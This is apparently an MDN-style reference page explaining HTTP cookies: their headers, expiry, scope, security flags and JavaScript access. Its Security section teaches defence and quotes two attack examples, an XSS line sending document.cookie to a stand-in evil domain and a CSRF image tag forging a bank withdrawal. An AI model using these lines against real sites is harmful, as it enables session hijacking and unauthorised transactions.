An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. It is used to know if two requests came from the same browser allowing to keep a user logged-in, for example. It remembers stateful information for the stateless HTTP protocol.
Cookies are mainly used for these three purposes:
- Session management (user logins, shopping carts)
- Personalization (user preferences)
- Tracking (analyzing user behavior)
Cookies have also been used for general client-side storage. While this use could have been considered legitimate at a time when there was no other way to store data on the client side, it is no longer the case nowadays where web browsers are capable of using various storage APIs. Since cookies are sent along with every request, it can be an additional performance burden (especially for mobile web). New APIs to consider for local storage are:
- Web storage API (
localStorage
andsessionStorage
) - IndexedDB
To see stored cookies (and other various types of storage that a web page can use), you can enable the Storage Inspector in the Developer Tools and select the Cookies storage type from the storage tree.
Creating cookies
When receiving an HTTP request, a server can send a {{HTTPHeader("Set-Cookie")}} header with the response. Afterward, the cookie value is sent along with every request made to the same server in the form of a {{HTTPHeader("Cookie")}} HTTP header. Additionally, an expiration delay can be specified as well as restrictions to a specific domain and path.
The Set-Cookie
and Cookie headers
The {{HTTPHeader("Set-Cookie")}} HTTP response header is used to send cookies from the server to the user agent. A simple cookie can be set like this:
Set-Cookie: <cookie-name>=<cookie-value>
The server tells the client to store a cookie (for example using PHP, Node.js, Python, or Ruby on Rails). The response sent to the browser will contain the Set-Cookie
header and the browser will store the cookie.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Session cookies
The simple cookie that have been created above are in fact session cookies. They will get removed when the client is shut down. They don's specify the Expires
or Max-Age
directives. Note that web browser have often session restoring enabled, which will make most session cookies actually permanent as if the browser was never closed.
Permanent cookies
Instead of expiring when the client is closed, permanent cookies expire at a specific date (Expires
) or after a specific length of time (Max-Age
).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure and HttpOnly
cookies
A secure cookie will only be sent to the server when a request is made using SSL and the HTTPS protocol. However, note that confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure and this flag won't offer you any additional encryption or security.
To prevent cross-site scripting ({{Glossary("XSS")}}) attacks, HTTP-only cookies aren't accessible via JavaScript through the {{domxref("Document.cookie")}} property, the {{domxref("XMLHttpRequest")}} and {{domxref("Request")}} APIs. Set this flag when you don't need your cookies available in JavaScript.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Scope of cookies
The Domain
and Path
directives define the scope of the cookie.
Domain
specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). If a domain is specified, subdomains are always included.
If Domain=mozilla.org
is set, cookies are included on subdomains like developer.mozilla.org
.
Path
indicates a URL path that must exist in the requested resource before sending the Cookie
header. The %x2F ("/") character is interpreted as a directory separator and sub directories will be matched as well.
If Path=/docs
is set, these paths will all be matched:
- "/docs",
- "/docs/Web/",
- "/docs/Web/HTTP"
SameSite
cookies {{experimental_inline}}
SameSite
cookies allow servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}). SameSite
cookies are still experimental and not yet supported by all browsers.
JavaScript access using Document.cookies
New cookies can also be created using the {{domxref("Document.cookie")}} property, and if the HttpOnly
flag is not set, existing cookies can be accessed from JavaScript as well.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Please note the security implications as noted in the Security section below. Cookies that are available to JavaScript might get stolen through XSS.
Security
Confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure.
Session hijacking and XSS
Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an {{Glossary("XSS")}} vulnerability in the application.
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
The HttpOnly
cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.
Cross-site request forgery (CSRF)
Wikipedia mentions a good example for {{Glossary("CSRF")}}. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:
- As with {{Glossary("XSS")}}, input filtering is import.
- There should always be a confirmation required for any sensitive action.
- Cookies that are used for sensitive actions should have a short lifetime only.
- For more prevention tips, see the OWASP CSRF prevention cheat sheet.
Tracking and privacy
Third-party cookies
Zombiecookies and Evercookies
Do-Not-Track
EU cookie directive
See also
- {{HTTPHeader("Set-Cookie")}}
- {{HTTPHeader("Cookie")}}
- {{domxref("Document.cookie")}}
- {{domxref("Navigator.cookieEnabled")}}
- Inspecting cookies using the Storage Inspector
- Cookie specification: RFC 6265
- Nicholas Zakas article on cookies
- Nicholas Zakas article on cookies and security
- HTTP cookie on Wikipedia